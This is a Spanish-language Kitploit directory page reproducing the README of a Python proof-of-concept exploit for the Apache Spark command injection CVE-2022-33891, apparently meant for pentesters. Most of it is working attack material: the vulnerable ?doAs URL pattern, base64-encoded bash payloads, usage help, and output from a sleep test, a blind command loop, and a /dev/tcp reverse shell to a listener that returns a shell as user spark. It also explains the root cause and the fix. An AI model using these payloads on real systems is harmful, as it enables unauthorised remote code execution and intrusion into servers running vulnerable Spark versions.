Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
cve-2022-33891 — Vulnerabilidad de inyección de comandos en el shell de Apache Spark | Kitploit
Herramientas/GitHubGitHub/huskyhacks/cve-2022-33891
Generación de PayloadsAnálisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónComando y Control
GitHubhuskyhacks/cve-2022-33891

cve-2022-33891

Vulnerabilidad de inyección de comandos en el shell de Apache Spark

Ver Repositorio
89173hace 4 añosRevisado por Kitploit

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2022-33891

Vulnerabilidad de inyección de comandos de Apache Spark Shell

Un POC en Python para explotar la vulnerabilidad de inyección de comandos de Apache Spark Shell. Vi algunos otros POCs por ahí, pero parecían muy sospechosos. Este es limpio y sencillo.

No descubrí este exploit/vulnerabilidad. Solo quería hacer un POC seguro para la comunidad ^.^

CVE descubierto originalmente por Kostya Kortchinsky de Databricks.

Actualización 9/7/22: ¡Oye, ahora hay un módulo de Metasploit para esto! Hecho por h00die-gr3y y ya está fusionado!

Versiones afectadas

Apache Spark versiones 3.0.3 y anteriores, versiones 3.1.1 a 3.1.2, y versiones 3.2.0 a 3.2.1

Componente vulnerable

root@kitploit:~
http://localhost:8080/?doAs=`[command injection here]`

Ejemplo

root@kitploit:~
http://localhost:8080/?doAs=`echo%20%22c2xlZXAgMTAK%22%20|%20base64%20-d%20|%20bash`

... duerme durante 10 segundos

Configuración

Necesitas una versión vulnerable de Spark que tenga una única opción de configuración cambiada.

  • Instala las dependencias: $ pip3 install -r requirements.txt
  • Cambia al directorio spark/.
  • Usa el docker-compose.yml proporcionado en el directorio spark/ y ejecuta docker-compose up. Deja que el contenedor se inicie.
  • En una nueva terminal, ejecuta sudo docker exec -it spark_spark_1 /bin/bash
  • En la sesión bash del contenedor, introduce: echo "spark.acls.enable true" >> conf/spark-defaults.conf
  • Opcionalmente, muestra el contenido de spark-defaults.conf para asegurarte de que se ve bien.
  • Sal de la shell bash interactiva y pulsa Ctl-C en tu proceso de docker-compose.
  • Una vez que los contenedores se hayan apagado correctamente, vuelve a ejecutar docker-compose up

Uso

root@kitploit:~
┌──(kali㉿kali)-[~/Desktop]
└─$ python3 poc.py -h
usage: poc.py [-h] -u URL -p PORT [--revshell]
              [-lh LISTENINGHOST] [-lp LISTENINGPORT]
              [--check] [--verbose]

CVE-2022-33891 Python POC Exploit Script

optional arguments:
  -h, --help            show this help message and exit
  -u URL, --url URL     URL to exploit.
  -p PORT, --port PORT  Exploit target's port.
  --revshell            Reverse Shell option.
  -lh LISTENINGHOST, --listeninghost LISTENINGHOST
                        Your listening host IP address.
  -lp LISTENINGPORT, --listeningport LISTENINGPORT
                        Your listening host port.
  --check               Checks if the target is
                        exploitable with a sleep test
  --verbose             Verbose mode

Ejemplos

Comprueba si el objetivo es vulnerable:

root@kitploit:~
husky@dev-kde:~/Desktop/cve-2022-33891$ python3 poc.py -u http://localhost -p 8080 --check --verbose
[*] Attempting to connect to site...
[*] URL request: http://localhost:8080/?doAs='testing'
[*] Response status code: 403
[!] Performing sleep test of 10 seconds...
[*] T1: 2022-07-22 10:47:48.406996
[*] Command is: sleep 10
[*] Base64 command is: c2xlZXAgMTA=
[*] Full exploit request is: http://localhost:8080/?doAs=`echo c2xlZXAgMTA= | base64 -d | bash`
[*] Sending exploit...
[*] Response status code: 403
[*] Hint: 403 is good.
[*] T2: 2022-07-22 10:47:58.425108
[*] Delta T: 10
[+] Sleep was 10 seconds! This target is probably vulnerable!

Ejecuta comandos en un bucle de línea de comandos:

root@kitploit:~
husky@dev-kde:~/Desktop/cve-2022-33891$ python3 poc.py -u http://localhost -p 8080 --verbose
[*] "Interactive" mode!
[!] Note: you will not receive any output from these commands. Try using something like ping or sleep to test for execution.
[cve-2022-33891> sleep 5
[*] Command is: sleep 5
[*] Base64 command is: c2xlZXAgNQ==
[*] Full exploit request is: http://localhost:8080/?doAs=`echo c2xlZXAgNQ== | base64 -d | bash`
[*] Sending exploit...
[*] Response status code: 403
[*] Hint: 403 is good.
[cve-2022-33891> 

Ejecuta una reverse shell:

root@kitploit:~
husky@dev-kde:~/Desktop/cve-2022-33891$ python3 poc.py -u http://localhost -p 8080 --revshell -lh 10.10.1.237 -lp 9001 --verbose
[*] Reverse shell mode.
[*] Set up your listener by entering the following:
nc -nvlp 9001
[*] When your listener is set up, press enter!
[*] Command is: sh -i >& /dev/tcp/10.10.1.237/9001 0>&1
[*] Base64 command is: c2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMS4yMzcvOTAwMSAwPiYx
[*] Full exploit request is: http://localhost:8080/?doAs=`echo c2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMS4yMzcvOTAwMSAwPiYx | base64 -d | bash`
[*] Sending exploit...

...[in the other terminal]...

husky@dev-kde:~/Desktop/cve-2022-33891$ nc -nvlp 9001
Listening on 0.0.0.0 9001
Connection received on 172.19.0.2 52136
sh: 0: can't access tty; job control turned off
$ whoami
spark
$ echo "hackerman"
hackerman
$ 

Más información

La inyección de comandos ocurre porque Spark comprueba la pertenencia al grupo del usuario pasado en el parámetro ?doAs mediante un comando Linux sin procesar. La interpolación de Bash ejecuta el comando, envía la salida al campo id e intenta buscar el usuario resultante.

Pasar which python como valor del usuario ?doAs= produce este resultado en el traceback:

root@kitploit:~
...
http://localhost:8080/?doAs=`which%20python`
...

spark_1  | 22/07/22 15:15:57 INFO Utils: id: '/opt/bitnami/python/bin/python': no such user
spark_1  | 22/07/22 15:15:57 ERROR Utils: Process List(bash, -c, id -Gn `which python`) exited with code 1: 
spark_1  | 22/07/22 15:15:57 ERROR Utils: Error getting groups for user=`which python`

Aquí, Java ha decidido que sería mejor pasar el comando id a bash -c para comprobar la pertenencia al grupo de un usuario específico. El problema es que eso también permite la inyección de comandos. La interpolación de Bash ha evaluado el comando dado e impreso los resultados en la línea 1 de esta salida e intenta buscar al usuario mediante la salida estándar del comando.

No existe ningún usuario llamado /opt/bitnami/python/bin/python, pero eso seguro que significa que el comando se pasó a Bash y se ejecutó.

Las versiones parcheadas parametrizan esta llamada para tener una ruta completa al comando /bin/id en lugar de bash -c id.

Vale la pena señalar que no se refleja nada en la página durante la ejecución del comando, por lo que se trata de una inyección de comandos del sistema operativo a ciegas. Tus comandos se ejecutan, pero no habrá indicación de si funcionaron o no, ni siquiera de si el programa que estás ejecutando está en el objetivo. Por ejemplo, el contenedor que se levanta con el archivo docker-compose.yml de este repositorio no tiene ping, por lo que comprobar la inyección de comandos mediante un pingback no funcionará. Pero no sabrás que ese es el caso, así que te quedarás preguntándote si funcionó o no.

La prueba de sleep es una apuesta segura ^.^

OPSEC

Gasté exactamente cero ciclos haciendo que este OPSEC sea seguro. Red teamers, eso es cosa vuestra.

Descargo de responsabilidad

Este POC no tiene capacidad de enumeración pasiva. El exploit es una inyección de comandos a ciegas. Si usas este script contra un objetivo, le estás enviando paquetes. Incluso si usas el parámetro --check y el objetivo es vulnerable, lo estás explotando activamente para demostrar que es vulnerable.

No uses esto en sistemas de producción sensibles a pruebas. No uses esto contra objetivos si no tienes autorización para hacerlo. No soy ni remotamente responsable de cómo elijas usar esto.

Mira la licencia.

Referencias

  • https://securityonline.info/cve-2022-33891-apache-spark-shell-command-injection-vulnerability/
  • https://nvd.nist.gov/vuln/detail/CVE-2022-33891
  • https://spark.apache.org/docs/2.1.0/configuration.html
  • https://github.com/W01fh4cker/cve-2022-33891 (No recomiendo usar este POC)
Descargar herramienta